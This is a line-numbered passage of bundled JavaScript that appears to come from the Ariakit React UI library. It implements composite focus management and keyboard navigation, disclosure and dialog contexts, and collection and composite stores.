8022 const providerValue = (0, import_react11.useMemo)(
8023 () => ({ id, baseElement }),
8024 [id, baseElement]
8025 );
8026 props = useWrapElement(
8027 props,
8028 (element) => /* @__PURE__ */ (0, import_jsx_runtime53.jsx)(CompositeItemContext.Provider, { value: providerValue, children: element }),
8029 [providerValue]
8030 );
8031 props = {
8032 id,
8033 "data-active-item": isActiveItem || void 0,
8034 ...props,
8035 ref: useMergeRefs(ref, props.ref),
8036 tabIndex: isTabbable ? props.tabIndex : -1,
8037 onFocus,
8038 onBlurCapture,
8039 onKeyDown
8040 };
8041 props = useCommand(props);
8042 props = useCollectionItem({
8043 store,
8044 ...props,
8045 getItem,
8046 shouldRegisterItem: id ? props.shouldRegisterItem : false
8047 });
8048 return removeUndefinedValues({
8049 ...props,
8050 "aria-setsize": ariaSetSize,
8051 "aria-posinset": ariaPosInSet
8052 });
8053 }
8054 );
8055 var CompositeItem = memo22(
8056 forwardRef22(function CompositeItem2(props) {
8057 const htmlProps = useCompositeItem(props);
8058 return createElement3(TagName4, htmlProps);
8059 })
8060 );
8061
8062 // node_modules/@ariakit/core/esm/__chunks/7PRQYBBV.js
8063 function toArray(arg) {
8064 if (Array.isArray(arg)) {
8065 return arg;
8066 }
8067 return typeof arg !== "undefined" ? [arg] : [];
8068 }
8069 function flatten2DArray(array) {
8070 const flattened = [];
8071 for (const row of array) {
8072 flattened.push(...row);
8073 }
8074 return flattened;
8075 }
8076 function reverseArray(array) {
8077 return array.slice().reverse();
8078 }
8079
8080 // node_modules/@ariakit/react-core/esm/__chunks/ZMWF7ASR.js
8081 var import_react12 = __toESM(require_react(), 1);
8082 var import_jsx_runtime54 = __toESM(require_jsx_runtime(), 1);
8083 var TagName5 = "div";
8084 function isGrid(items) {
8085 return items.some((item) => !!item.rowId);
8086 }
8087 function isPrintableKey(event) {
8088 const target = event.target;
8089 if (target && !isTextField(target)) return false;
8090 return event.key.length === 1 && !event.ctrlKey && !event.metaKey;
8091 }
8092 function isModifierKey(event) {
8093 return event.key === "Shift" || event.key === "Control" || event.key === "Alt" || event.key === "Meta";
8094 }
8095 function useKeyboardEventProxy(store, onKeyboardEvent, previousElementRef) {
8096 return useEvent((event) => {
8097 var _a;
8098 onKeyboardEvent == null ? void 0 : onKeyboardEvent(event);
8099 if (event.defaultPrevented) return;
8100 if (event.isPropagationStopped()) return;
8101 if (!isSelfTarget(event)) return;
8102 if (isModifierKey(event)) return;
8103 if (isPrintableKey(event)) return;
8104 const state = store.getState();
8105 const activeElement = (_a = getEnabledItem(store, state.activeId)) == null ? void 0 : _a.element;
8106 if (!activeElement) return;
8107 const { view, ...eventInit } = event;
8108 const previousElement = previousElementRef == null ? void 0 : previousElementRef.current;
8109 if (activeElement !== previousElement) {
8110 activeElement.focus();
8111 }
8112 if (!fireKeyboardEvent(activeElement, event.type, eventInit)) {
8113 event.preventDefault();
8114 }
8115 if (event.currentTarget.contains(activeElement)) {
8116 event.stopPropagation();
8117 }
8118 });
8119 }
8120 function findFirstEnabledItemInTheLastRow(items) {
8121 return findFirstEnabledItem(
8122 flatten2DArray(reverseArray(groupItemsByRows(items)))
8123 );
8124 }
8125 function useScheduleFocus(store) {
8126 const [scheduled, setScheduled] = (0, import_react12.useState)(false);
8127 const schedule = (0, import_react12.useCallback)(() => setScheduled(true), []);
8128 const activeItem = store.useState(
8129 (state) => getEnabledItem(store, state.activeId)
8130 );
8131 (0, import_react12.useEffect)(() => {
8132 const activeElement = activeItem == null ? void 0 : activeItem.element;
8133 if (!scheduled) return;
8134 if (!activeElement) return;
8135 setScheduled(false);
8136 activeElement.focus({ preventScroll: true });
8137 }, [activeItem, scheduled]);
8138 return schedule;
8139 }
8140 var useComposite = createHook(
8141 function useComposite2({
8142 store,
8143 composite = true,
8144 focusOnMove = composite,
8145 moveOnKeyPress = true,
8146 ...props
8147 }) {
8148 const context = useCompositeProviderContext();
8149 store = store || context;
8150 invariant(
8151 store,
8152 "Composite must receive a `store` prop or be wrapped in a CompositeProvider component."
8153 );
8154 const ref = (0, import_react12.useRef)(null);
8155 const previousElementRef = (0, import_react12.useRef)(null);
8156 const scheduleFocus = useScheduleFocus(store);
8157 const moves = store.useState("moves");
8158 const [, setBaseElement] = useTransactionState(
8159 composite ? store.setBaseElement : null
8160 );
8161 (0, import_react12.useEffect)(() => {
8162 var _a;
8163 if (!store) return;
8164 if (!moves) return;
8165 if (!composite) return;
8166 if (!focusOnMove) return;
8167 const { activeId: activeId2 } = store.getState();
8168 const itemElement = (_a = getEnabledItem(store, activeId2)) == null ? void 0 : _a.element;
8169 if (!itemElement) return;
8170 focusIntoView(itemElement);
8171 }, [store, moves, composite, focusOnMove]);
8172 useSafeLayoutEffect(() => {
8173 if (!store) return;
8174 if (!moves) return;
8175 if (!composite) return;
8176 const { baseElement, activeId: activeId2 } = store.getState();
8177 const isSelfAcive = activeId2 === null;
8178 if (!isSelfAcive) return;
8179 if (!baseElement) return;
8180 const previousElement = previousElementRef.current;
8181 previousElementRef.current = null;
8182 if (previousElement) {
8183 fireBlurEvent(previousElement, { relatedTarget: baseElement });
8184 }
8185 if (!hasFocus(baseElement)) {
8186 baseElement.focus();
8187 }
8188 }, [store, moves, composite]);
8189 const activeId = store.useState("activeId");
8190 const virtualFocus = store.useState("virtualFocus");
8191 useSafeLayoutEffect(() => {
8192 var _a;
8193 if (!store) return;
8194 if (!composite) return;
8195 if (!virtualFocus) return;
8196 const previousElement = previousElementRef.current;
8197 previousElementRef.current = null;
8198 if (!previousElement) return;
8199 const activeElement = (_a = getEnabledItem(store, activeId)) == null ? void 0 : _a.element;
8200 const relatedTarget = activeElement || getActiveElement(previousElement);
8201 if (relatedTarget === previousElement) return;
8202 fireBlurEvent(previousElement, { relatedTarget });
8203 }, [store, activeId, virtualFocus, composite]);
8204 const onKeyDownCapture = useKeyboardEventProxy(
8205 store,
8206 props.onKeyDownCapture,
8207 previousElementRef
8208 );
8209 const onKeyUpCapture = useKeyboardEventProxy(
8210 store,
8211 props.onKeyUpCapture,
8212 previousElementRef
8213 );
8214 const onFocusCaptureProp = props.onFocusCapture;
8215 const onFocusCapture = useEvent((event) => {
8216 onFocusCaptureProp == null ? void 0 : onFocusCaptureProp(event);
8217 if (event.defaultPrevented) return;
8218 if (!store) return;
8219 const { virtualFocus: virtualFocus2 } = store.getState();
8220 if (!virtualFocus2) return;
8221 const previousActiveElement = event.relatedTarget;
8222 const isSilentlyFocused = silentlyFocused(event.currentTarget);
8223 if (isSelfTarget(event) && isSilentlyFocused) {
8224 event.stopPropagation();
8225 previousElementRef.current = previousActiveElement;
8226 }
8227 });
8228 const onFocusProp = props.onFocus;
8229 const onFocus = useEvent((event) => {
8230 onFocusProp == null ? void 0 : onFocusProp(event);
8231 if (event.defaultPrevented) return;
8232 if (!composite) return;
8233 if (!store) return;
8234 const { relatedTarget } = event;
8235 const { virtualFocus: virtualFocus2 } = store.getState();
8236 if (virtualFocus2) {
8237 if (isSelfTarget(event) && !isItem(store, relatedTarget)) {
8238 queueMicrotask(scheduleFocus);
8239 }
8240 } else if (isSelfTarget(event)) {
8241 store.setActiveId(null);
8242 }
8243 });
8244 const onBlurCaptureProp = props.onBlurCapture;
8245 const onBlurCapture = useEvent((event) => {
8246 var _a;
8247 onBlurCaptureProp == null ? void 0 : onBlurCaptureProp(event);
8248 if (event.defaultPrevented) return;
8249 if (!store) return;
8250 const { virtualFocus: virtualFocus2, activeId: activeId2 } = store.getState();
8251 if (!virtualFocus2) return;
8252 const activeElement = (_a = getEnabledItem(store, activeId2)) == null ? void 0 : _a.element;
8253 const nextActiveElement = event.relatedTarget;
8254 const nextActiveElementIsItem = isItem(store, nextActiveElement);
8255 const previousElement = previousElementRef.current;
8256 previousElementRef.current = null;
8257 if (isSelfTarget(event) && nextActiveElementIsItem) {
8258 if (nextActiveElement === activeElement) {
8259 if (previousElement && previousElement !== nextActiveElement) {
8260 fireBlurEvent(previousElement, event);
8261 }
8262 } else if (activeElement) {
8263 fireBlurEvent(activeElement, event);
8264 } else if (previousElement) {
8265 fireBlurEvent(previousElement, event);
8266 }
8267 event.stopPropagation();
8268 } else {
8269 const targetIsItem = isItem(store, event.target);
8270 if (!targetIsItem && activeElement) {
8271 fireBlurEvent(activeElement, event);
8272 }
8273 }
8274 });
8275 const onKeyDownProp = props.onKeyDown;
8276 const moveOnKeyPressProp = useBooleanEvent(moveOnKeyPress);
8277 const onKeyDown = useEvent((event) => {
8278 var _a;
8279 onKeyDownProp == null ? void 0 : onKeyDownProp(event);
8280 if (event.nativeEvent.isComposing) return;
8281 if (event.defaultPrevented) return;
8282 if (!store) return;
8283 if (!isSelfTarget(event)) return;
8284 const { orientation, renderedItems, activeId: activeId2 } = store.getState();
8285 const activeItem = getEnabledItem(store, activeId2);
8286 if ((_a = activeItem == null ? void 0 : activeItem.element) == null ? void 0 : _a.isConnected) return;
8287 const isVertical = orientation !== "horizontal";
8288 const isHorizontal = orientation !== "vertical";
8289 const grid = isGrid(renderedItems);
8290 const isHorizontalKey = event.key === "ArrowLeft" || event.key === "ArrowRight" || event.key === "Home" || event.key === "End";
8291 if (isHorizontalKey && isTextField(event.currentTarget)) return;
8292 const up = () => {
8293 if (grid) {
8294 const item = findFirstEnabledItemInTheLastRow(renderedItems);
8295 return item == null ? void 0 : item.id;
8296 }
8297 return store == null ? void 0 : store.last();
8298 };
8299 const keyMap = {
8300 ArrowUp: (grid || isVertical) && up,
8301 ArrowRight: (grid || isHorizontal) && store.first,
8302 ArrowDown: (grid || isVertical) && store.first,
8303 ArrowLeft: (grid || isHorizontal) && store.last,
8304 Home: store.first,
8305 End: store.last,
8306 PageUp: store.first,
8307 PageDown: store.last
8308 };
8309 const action = keyMap[event.key];
8310 if (action) {
8311 const id = action();
8312 if (id !== void 0) {
8313 if (!moveOnKeyPressProp(event)) return;
8314 event.preventDefault();
8315 store.move(id);
8316 }
8317 }
8318 });
8319 props = useWrapElement(
8320 props,
8321 (element) => /* @__PURE__ */ (0, import_jsx_runtime54.jsx)(CompositeContextProvider, { value: store, children: element }),
8322 [store]
8323 );
8324 const activeDescendant = store.useState((state) => {
8325 var _a;
8326 if (!store) return;
8327 if (!composite) return;
8328 if (!state.virtualFocus) return;
8329 return (_a = getEnabledItem(store, state.activeId)) == null ? void 0 : _a.id;
8330 });
8331 props = {
8332 "aria-activedescendant": activeDescendant,
8333 ...props,
8334 ref: useMergeRefs(ref, setBaseElement, props.ref),
8335 onKeyDownCapture,
8336 onKeyUpCapture,
8337 onFocusCapture,
8338 onFocus,
8339 onBlurCapture,
8340 onKeyDown
8341 };
8342 const focusable = store.useState(
8343 (state) => composite && (state.virtualFocus || state.activeId === null)
8344 );
8345 props = useFocusable({ focusable, ...props });
8346 return props;
8347 }
8348 );
8349 var Composite5 = forwardRef22(function Composite22(props) {
8350 const htmlProps = useComposite(props);
8351 return createElement3(TagName5, htmlProps);
8352 });
8353
8354 // node_modules/@ariakit/react-core/esm/__chunks/LVDQFHCH.js
8355 var ctx3 = createStoreContext();
8356 var useDisclosureContext = ctx3.useContext;
8357 var useDisclosureScopedContext = ctx3.useScopedContext;
8358 var useDisclosureProviderContext = ctx3.useProviderContext;
8359 var DisclosureContextProvider = ctx3.ContextProvider;
8360 var DisclosureScopedContextProvider = ctx3.ScopedContextProvider;
8361
8362 // node_modules/@ariakit/react-core/esm/__chunks/A62MDFCW.js
8363 var import_react13 = __toESM(require_react(), 1);
8364 var ctx4 = createStoreContext(
8365 [DisclosureContextProvider],
8366 [DisclosureScopedContextProvider]
8367 );
8368 var useDialogContext = ctx4.useContext;
8369 var useDialogScopedContext = ctx4.useScopedContext;
8370 var useDialogProviderContext = ctx4.useProviderContext;
8371 var DialogContextProvider = ctx4.ContextProvider;
8372 var DialogScopedContextProvider = ctx4.ScopedContextProvider;
8373 var DialogHeadingContext = (0, import_react13.createContext)(void 0);
8374 var DialogDescriptionContext = (0, import_react13.createContext)(void 0);
8375
8376 // node_modules/@ariakit/react-core/esm/__chunks/6B3RXHKP.js
8377 var import_react14 = __toESM(require_react(), 1);
8378 var import_react_dom = __toESM(require_react_dom(), 1);
8379 var import_jsx_runtime55 = __toESM(require_jsx_runtime(), 1);
8380 var TagName6 = "div";
8381 function afterTimeout(timeoutMs, cb) {
8382 const timeoutId = setTimeout(cb, timeoutMs);
8383 return () => clearTimeout(timeoutId);
8384 }
8385 function afterPaint2(cb) {
8386 let raf = requestAnimationFrame(() => {
8387 raf = requestAnimationFrame(cb);
8388 });
8389 return () => cancelAnimationFrame(raf);
8390 }
8391 function parseCSSTime(...times) {
8392 return times.join(", ").split(", ").reduce((longestTime, currentTimeString) => {
8393 const multiplier = currentTimeString.endsWith("ms") ? 1 : 1e3;
8394 const currentTime = Number.parseFloat(currentTimeString || "0s") * multiplier;
8395 if (currentTime > longestTime) return currentTime;
8396 return longestTime;
8397 }, 0);
8398 }
8399 function isHidden(mounted, hidden, alwaysVisible) {
8400 return !alwaysVisible && hidden !== false && (!mounted || !!hidden);
8401 }
8402 var useDisclosureContent = createHook(function useDisclosureContent2({ store, alwaysVisible, ...props }) {
8403 const context = useDisclosureProviderContext();
8404 store = store || context;
8405 invariant(
8406 store,
8407 "DisclosureContent must receive a `store` prop or be wrapped in a DisclosureProvider component."
8408 );
8409 const ref = (0, import_react14.useRef)(null);
8410 const id = useId3(props.id);
8411 const [transition, setTransition] = (0, import_react14.useState)(null);
8412 const open = store.useState("open");
8413 const mounted = store.useState("mounted");
8414 const animated = store.useState("animated");
8415 const contentElement = store.useState("contentElement");
8416 const otherElement = useStoreState(store.disclosure, "contentElement");
8417 useSafeLayoutEffect(() => {
8418 if (!ref.current) return;
8419 store == null ? void 0 : store.setContentElement(ref.current);
8420 }, [store]);
8421 useSafeLayoutEffect(() => {
8422 let previousAnimated;
8423 store == null ? void 0 : store.setState("animated", (animated2) => {
8424 previousAnimated = animated2;
8425 return true;
8426 });
8427 return () => {
8428 if (previousAnimated === void 0) return;
8429 store == null ? void 0 : store.setState("animated", previousAnimated);
8430 };
8431 }, [store]);
8432 useSafeLayoutEffect(() => {
8433 if (!animated) return;
8434 if (!(contentElement == null ? void 0 : contentElement.isConnected)) {
8435 setTransition(null);
8436 return;
8437 }
8438 return afterPaint2(() => {
8439 setTransition(open ? "enter" : mounted ? "leave" : null);
8440 });
8441 }, [animated, contentElement, open, mounted]);
8442 useSafeLayoutEffect(() => {
8443 if (!store) return;
8444 if (!animated) return;
8445 if (!transition) return;
8446 if (!contentElement) return;
8447 const stopAnimation = () => store == null ? void 0 : store.setState("animating", false);
8448 const stopAnimationSync = () => (0, import_react_dom.flushSync)(stopAnimation);
8449 if (transition === "leave" && open) return;
8450 if (transition === "enter" && !open) return;
8451 if (typeof animated === "number") {
8452 const timeout2 = animated;
8453 return afterTimeout(timeout2, stopAnimationSync);
8454 }
8455 const {
8456 transitionDuration,
8457 animationDuration,
8458 transitionDelay,
8459 animationDelay
8460 } = getComputedStyle(contentElement);
8461 const {
8462 transitionDuration: transitionDuration2 = "0",
8463 animationDuration: animationDuration2 = "0",
8464 transitionDelay: transitionDelay2 = "0",
8465 animationDelay: animationDelay2 = "0"
8466 } = otherElement ? getComputedStyle(otherElement) : {};
8467 const delay = parseCSSTime(
8468 transitionDelay,
8469 animationDelay,
8470 transitionDelay2,
8471 animationDelay2
8472 );
8473 const duration = parseCSSTime(
8474 transitionDuration,
8475 animationDuration,
8476 transitionDuration2,
8477 animationDuration2
8478 );
8479 const timeout = delay + duration;
8480 if (!timeout) {
8481 if (transition === "enter") {
8482 store.setState("animated", false);
8483 }
8484 stopAnimation();
8485 return;
8486 }
8487 const frameRate = 1e3 / 60;
8488 const maxTimeout = Math.max(timeout - frameRate, 0);
8489 return afterTimeout(maxTimeout, stopAnimationSync);
8490 }, [store, animated, contentElement, otherElement, open, transition]);
8491 props = useWrapElement(
8492 props,
8493 (element) => /* @__PURE__ */ (0, import_jsx_runtime55.jsx)(DialogScopedContextProvider, { value: store, children: element }),
8494 [store]
8495 );
8496 const hidden = isHidden(mounted, props.hidden, alwaysVisible);
8497 const styleProp = props.style;
8498 const style = (0, import_react14.useMemo)(() => {
8499 if (hidden) {
8500 return { ...styleProp, display: "none" };
8501 }
8502 return styleProp;
8503 }, [hidden, styleProp]);
8504 props = {
8505 id,
8506 "data-open": open || void 0,
8507 "data-enter": transition === "enter" || void 0,
8508 "data-leave": transition === "leave" || void 0,
8509 hidden,
8510 ...props,
8511 ref: useMergeRefs(id ? store.setContentElement : null, ref, props.ref),
8512 style
8513 };
8514 return removeUndefinedValues(props);
8515 });
8516 var DisclosureContentImpl = forwardRef22(function DisclosureContentImpl2(props) {
8517 const htmlProps = useDisclosureContent(props);
8518 return createElement3(TagName6, htmlProps);
8519 });
8520 var DisclosureContent = forwardRef22(function DisclosureContent2({
8521 unmountOnHide,
8522 ...props
8523 }) {
8524 const context = useDisclosureProviderContext();
8525 const store = props.store || context;
8526 const mounted = useStoreState(
8527 store,
8528 (state) => !unmountOnHide || (state == null ? void 0 : state.mounted)
8529 );
8530 if (mounted === false) return null;
8531 return /* @__PURE__ */ (0, import_jsx_runtime55.jsx)(DisclosureContentImpl, { ...props });
8532 });
8533
8534 // node_modules/@ariakit/core/esm/__chunks/75BJEVSH.js
8535 function createDisclosureStore(props = {}) {
8536 const store = mergeStore(
8537 props.store,
8538 omit2(props.disclosure, ["contentElement", "disclosureElement"])
8539 );
8540 throwOnConflictingProps(props, store);
8541 const syncState = store == null ? void 0 : store.getState();
8542 const open = defaultValue(
8543 props.open,
8544 syncState == null ? void 0 : syncState.open,
8545 props.defaultOpen,
8546 false
8547 );
8548 const animated = defaultValue(props.animated, syncState == null ? void 0 : syncState.animated, false);
8549 const initialState = {
8550 open,
8551 animated,
8552 animating: !!animated && open,
8553 mounted: open,
8554 contentElement: defaultValue(syncState == null ? void 0 : syncState.contentElement, null),
8555 disclosureElement: defaultValue(syncState == null ? void 0 : syncState.disclosureElement, null)
8556 };
8557 const disclosure = createStore(initialState, store);
8558 setup(
8559 disclosure,
8560 () => sync(disclosure, ["animated", "animating"], (state) => {
8561 if (state.animated) return;
8562 disclosure.setState("animating", false);
8563 })
8564 );
8565 setup(
8566 disclosure,
8567 () => subscribe(disclosure, ["open"], () => {
8568 if (!disclosure.getState().animated) return;
8569 disclosure.setState("animating", true);
8570 })
8571 );
8572 setup(
8573 disclosure,
8574 () => sync(disclosure, ["open", "animating"], (state) => {
8575 disclosure.setState("mounted", state.open || state.animating);
8576 })
8577 );
8578 return {
8579 ...disclosure,
8580 disclosure: props.disclosure,
8581 setOpen: (value) => disclosure.setState("open", value),
8582 show: () => disclosure.setState("open", true),
8583 hide: () => disclosure.setState("open", false),
8584 toggle: () => disclosure.setState("open", (open2) => !open2),
8585 stopAnimation: () => disclosure.setState("animating", false),
8586 setContentElement: (value) => disclosure.setState("contentElement", value),
8587 setDisclosureElement: (value) => disclosure.setState("disclosureElement", value)
8588 };
8589 }
8590
8591 // node_modules/@ariakit/react-core/esm/__chunks/WLZ6H5FH.js
8592 function useDisclosureStoreProps(store, update2, props) {
8593 useUpdateEffect(update2, [props.store, props.disclosure]);
8594 useStoreProps(store, props, "open", "setOpen");
8595 useStoreProps(store, props, "mounted", "setMounted");
8596 useStoreProps(store, props, "animated");
8597 return Object.assign(store, { disclosure: props.disclosure });
8598 }
8599
8600 // node_modules/@ariakit/react-core/esm/__chunks/JMU4N4M5.js
8601 var ctx5 = createStoreContext(
8602 [DialogContextProvider],
8603 [DialogScopedContextProvider]
8604 );
8605 var usePopoverContext = ctx5.useContext;
8606 var usePopoverScopedContext = ctx5.useScopedContext;
8607 var usePopoverProviderContext = ctx5.useProviderContext;
8608 var PopoverContextProvider = ctx5.ContextProvider;
8609 var PopoverScopedContextProvider = ctx5.ScopedContextProvider;
8610
8611 // node_modules/@ariakit/core/esm/__chunks/N5XGANPW.js
8612 function getCommonParent(items) {
8613 var _a;
8614 const firstItem = items.find((item) => !!item.element);
8615 const lastItem = [...items].reverse().find((item) => !!item.element);
8616 let parentElement = (_a = firstItem == null ? void 0 : firstItem.element) == null ? void 0 : _a.parentElement;
8617 while (parentElement && (lastItem == null ? void 0 : lastItem.element)) {
8618 const parent = parentElement;
8619 if (lastItem && parent.contains(lastItem.element)) {
8620 return parentElement;
8621 }
8622 parentElement = parentElement.parentElement;
8623 }
8624 return getDocument(parentElement).body;
8625 }
8626 function getPrivateStore(store) {
8627 return store == null ? void 0 : store.__unstablePrivateStore;
8628 }
8629 function createCollectionStore(props = {}) {
8630 var _a;
8631 throwOnConflictingProps(props, props.store);
8632 const syncState = (_a = props.store) == null ? void 0 : _a.getState();
8633 const items = defaultValue(
8634 props.items,
8635 syncState == null ? void 0 : syncState.items,
8636 props.defaultItems,
8637 []
8638 );
8639 const itemsMap = new Map(items.map((item) => [item.id, item]));
8640 const initialState = {
8641 items,
8642 renderedItems: defaultValue(syncState == null ? void 0 : syncState.renderedItems, [])
8643 };
8644 const syncPrivateStore = getPrivateStore(props.store);
8645 const privateStore = createStore(
8646 { items, renderedItems: initialState.renderedItems },
8647 syncPrivateStore
8648 );
8649 const collection = createStore(initialState, props.store);
8650 const sortItems = (renderedItems) => {
8651 const sortedItems = sortBasedOnDOMPosition(renderedItems, (i2) => i2.element);
8652 privateStore.setState("renderedItems", sortedItems);
8653 collection.setState("renderedItems", sortedItems);
8654 };
8655 setup(collection, () => init(privateStore));
8656 setup(privateStore, () => {
8657 return batch(privateStore, ["items"], (state) => {
8658 collection.setState("items", state.items);
8659 });
8660 });
8661 setup(privateStore, () => {
8662 return batch(privateStore, ["renderedItems"], (state) => {
8663 let firstRun = true;
8664 let raf = requestAnimationFrame(() => {
8665 const { renderedItems } = collection.getState();
8666 if (state.renderedItems === renderedItems) return;
8667 sortItems(state.renderedItems);
8668 });
8669 if (typeof IntersectionObserver !== "function") {
8670 return () => cancelAnimationFrame(raf);
8671 }
8672 const ioCallback = () => {
8673 if (firstRun) {
8674 firstRun = false;
8675 return;
8676 }
8677 cancelAnimationFrame(raf);
8678 raf = requestAnimationFrame(() => sortItems(state.renderedItems));
8679 };
8680 const root = getCommonParent(state.renderedItems);
8681 const observer = new IntersectionObserver(ioCallback, { root });
8682 for (const item of state.renderedItems) {
8683 if (!item.element) continue;
8684 observer.observe(item.element);
8685 }
8686 return () => {
8687 cancelAnimationFrame(raf);
8688 observer.disconnect();
8689 };
8690 });
8691 });
8692 const mergeItem = (item, setItems, canDeleteFromMap = false) => {
8693 let prevItem;
8694 setItems((items2) => {
8695 const index = items2.findIndex(({ id }) => id === item.id);
8696 const nextItems = items2.slice();
8697 if (index !== -1) {
8698 prevItem = items2[index];
8699 const nextItem = { ...prevItem, ...item };
8700 nextItems[index] = nextItem;
8701 itemsMap.set(item.id, nextItem);
8702 } else {
8703 nextItems.push(item);
8704 itemsMap.set(item.id, item);
8705 }
8706 return nextItems;
8707 });
8708 const unmergeItem = () => {
8709 setItems((items2) => {
8710 if (!prevItem) {
8711 if (canDeleteFromMap) {
8712 itemsMap.delete(item.id);
8713 }
8714 return items2.filter(({ id }) => id !== item.id);
8715 }
8716 const index = items2.findIndex(({ id }) => id === item.id);
8717 if (index === -1) return items2;
8718 const nextItems = items2.slice();
8719 nextItems[index] = prevItem;
8720 itemsMap.set(item.id, prevItem);
8721 return nextItems;
8722 });
8723 };
8724 return unmergeItem;
8725 };
8726 const registerItem = (item) => mergeItem(
8727 item,
8728 (getItems) => privateStore.setState("items", getItems),
8729 true
8730 );
8731 return {
8732 ...collection,
8733 registerItem,
8734 renderItem: (item) => chain(
8735 registerItem(item),
8736 mergeItem(
8737 item,
8738 (getItems) => privateStore.setState("renderedItems", getItems)
8739 )
8740 ),
8741 item: (id) => {
8742 if (!id) return null;
8743 let item = itemsMap.get(id);
8744 if (!item) {
8745 const { items: items2 } = privateStore.getState();
8746 item = items2.find((item2) => item2.id === id);
8747 if (item) {
8748 itemsMap.set(id, item);
8749 }
8750 }
8751 return item || null;
8752 },
8753 // @ts-expect-error Internal
8754 __unstablePrivateStore: privateStore
8755 };
8756 }
8757
8758 // node_modules/@ariakit/react-core/esm/__chunks/GVAFFF2B.js
8759 function useCollectionStoreProps(store, update2, props) {
8760 useUpdateEffect(update2, [props.store]);
8761 useStoreProps(store, props, "items", "setItems");
8762 return store;
8763 }
8764
8765 // node_modules/@ariakit/core/esm/__chunks/RVTIKFRL.js
8766 var NULL_ITEM = { id: null };
8767 function findFirstEnabledItem2(items, excludeId) {
8768 return items.find((item) => {
8769 if (excludeId) {
8770 return !item.disabled && item.id !== excludeId;
8771 }
8772 return !item.disabled;
8773 });
8774 }
8775 function getEnabledItems(items, excludeId) {
8776 return items.filter((item) => {
8777 if (excludeId) {
8778 return !item.disabled && item.id !== excludeId;
8779 }
8780 return !item.disabled;
8781 });
8782 }
8783 function getItemsInRow(items, rowId) {
8784 return items.filter((item) => item.rowId === rowId);
8785 }
8786 function flipItems(items, activeId, shouldInsertNullItem = false) {
8787 const index = items.findIndex((item) => item.id === activeId);
8788 return [
8789 ...items.slice(index + 1),
8790 ...shouldInsertNullItem ? [NULL_ITEM] : [],
8791 ...items.slice(0, index)
8792 ];
8793 }
8794 function groupItemsByRows2(items) {
8795 const rows = [];
8796 for (const item of items) {
8797 const row = rows.find((currentRow) => {
8798 var _a;
8799 return ((_a = currentRow[0]) == null ? void 0 : _a.rowId) === item.rowId;
8800 });
8801 if (row) {
8802 row.push(item);
8803 } else {
8804 rows.push([item]);
8805 }
8806 }
8807 return rows;
8808 }
8809 function getMaxRowLength(array) {
8810 let maxLength = 0;
8811 for (const { length } of array) {
8812 if (length > maxLength) {
8813 maxLength = length;
8814 }
8815 }
8816 return maxLength;
8817 }
8818 function createEmptyItem(rowId) {
8819 return {
8820 id: "__EMPTY_ITEM__",
8821 disabled: true,
8822 rowId
8823 };
8824 }
8825 function normalizeRows(rows, activeId, focusShift) {
8826 const maxLength = getMaxRowLength(rows);
8827 for (const row of rows) {
8828 for (let i2 = 0; i2 < maxLength; i2 += 1) {
8829 const item = row[i2];
8830 if (!item || focusShift && item.disabled) {
8831 const isFirst = i2 === 0;
8832 const previousItem = isFirst && focusShift ? findFirstEnabledItem2(row) : row[i2 - 1];
8833 row[i2] = previousItem && activeId !== previousItem.id && focusShift ? previousItem : createEmptyItem(previousItem == null ? void 0 : previousItem.rowId);
8834 }
8835 }
8836 }
8837 return rows;
8838 }
8839 function verticalizeItems(items) {
8840 const rows = groupItemsByRows2(items);
8841 const maxLength = getMaxRowLength(rows);
8842 const verticalized = [];
8843 for (let i2 = 0; i2 < maxLength; i2 += 1) {
8844 for (const row of rows) {
8845 const item = row[i2];
8846 if (item) {
8847 verticalized.push({
8848 ...item,
8849 // If there's no rowId, it means that it's not a grid composite, but
8850 // a single row instead. So, instead of verticalizing it, that is,
8851 // assigning a different rowId based on the column index, we keep it
8852 // undefined so they will be part of the same row. This is useful
8853 // when using up/down on one-dimensional composites.
8854 rowId: item.rowId ? `${i2}` : void 0
8855 });
8856 }
8857 }
8858 }
8859 return verticalized;
8860 }
8861 function createCompositeStore(props = {}) {
8862 var _a;
8863 const syncState = (_a = props.store) == null ? void 0 : _a.getState();
8864 const collection = createCollectionStore(props);
8865 const activeId = defaultValue(
8866 props.activeId,
8867 syncState == null ? void 0 : syncState.activeId,
8868 props.defaultActiveId
8869 );
8870 const initialState = {
8871 ...collection.getState(),
8872 id: defaultValue(
8873 props.id,
8874 syncState == null ? void 0 : syncState.id,
8875 `id-${Math.random().toString(36).slice(2, 8)}`
8876 ),
8877 activeId,
8878 baseElement: defaultValue(syncState == null ? void 0 : syncState.baseElement, null),
8879 includesBaseElement: defaultValue(
8880 props.includesBaseElement,
8881 syncState == null ? void 0 : syncState.includesBaseElement,
8882 activeId === null
8883 ),
8884 moves: defaultValue(syncState == null ? void 0 : syncState.moves, 0),
8885 orientation: defaultValue(
8886 props.orientation,
8887 syncState == null ? void 0 : syncState.orientation,
8888 "both"
8889 ),
8890 rtl: defaultValue(props.rtl, syncState == null ? void 0 : syncState.rtl, false),
8891 virtualFocus: defaultValue(
8892 props.virtualFocus,
8893 syncState == null ? void 0 : syncState.virtualFocus,
8894 false
8895 ),
8896 focusLoop: defaultValue(props.focusLoop, syncState == null ? void 0 : syncState.focusLoop, false),
8897 focusWrap: defaultValue(props.focusWrap, syncState == null ? void 0 : syncState.focusWrap, false),
8898 focusShift: defaultValue(props.focusShift, syncState == null ? void 0 : syncState.focusShift, false)
8899 };
8900 const composite = createStore(initialState, collection, props.store);
8901 setup(
8902 composite,
8903 () => sync(composite, ["renderedItems", "activeId"], (state) => {
8904 composite.setState("activeId", (activeId2) => {
8905 var _a2;
8906 if (activeId2 !== void 0) return activeId2;
8907 return (_a2 = findFirstEnabledItem2(state.renderedItems)) == null ? void 0 : _a2.id;
8908 });
8909 })
8910 );
8911 const getNextId = (direction = "next", options = {}) => {
8912 var _a2, _b;
8913 const defaultState = composite.getState();
8914 const {
8915 skip = 0,
8916 activeId: activeId2 = defaultState.activeId,
8917 focusShift = defaultState.focusShift,
8918 focusLoop = defaultState.focusLoop,
8919 focusWrap = defaultState.focusWrap,
8920 includesBaseElement = defaultState.includesBaseElement,
8921 renderedItems = defaultState.renderedItems,
8922 rtl = defaultState.rtl
8923 } = options;
8924 const isVerticalDirection = direction === "up" || direction === "down";
8925 const isNextDirection = direction === "next" || direction === "down";
8926 const canReverse = isNextDirection ? rtl && !isVerticalDirection : !rtl || isVerticalDirection;
8927 const canShift = focusShift && !skip;
8928 let items = !isVerticalDirection ? renderedItems : flatten2DArray(
8929 normalizeRows(groupItemsByRows2(renderedItems), activeId2, canShift)
8930 );
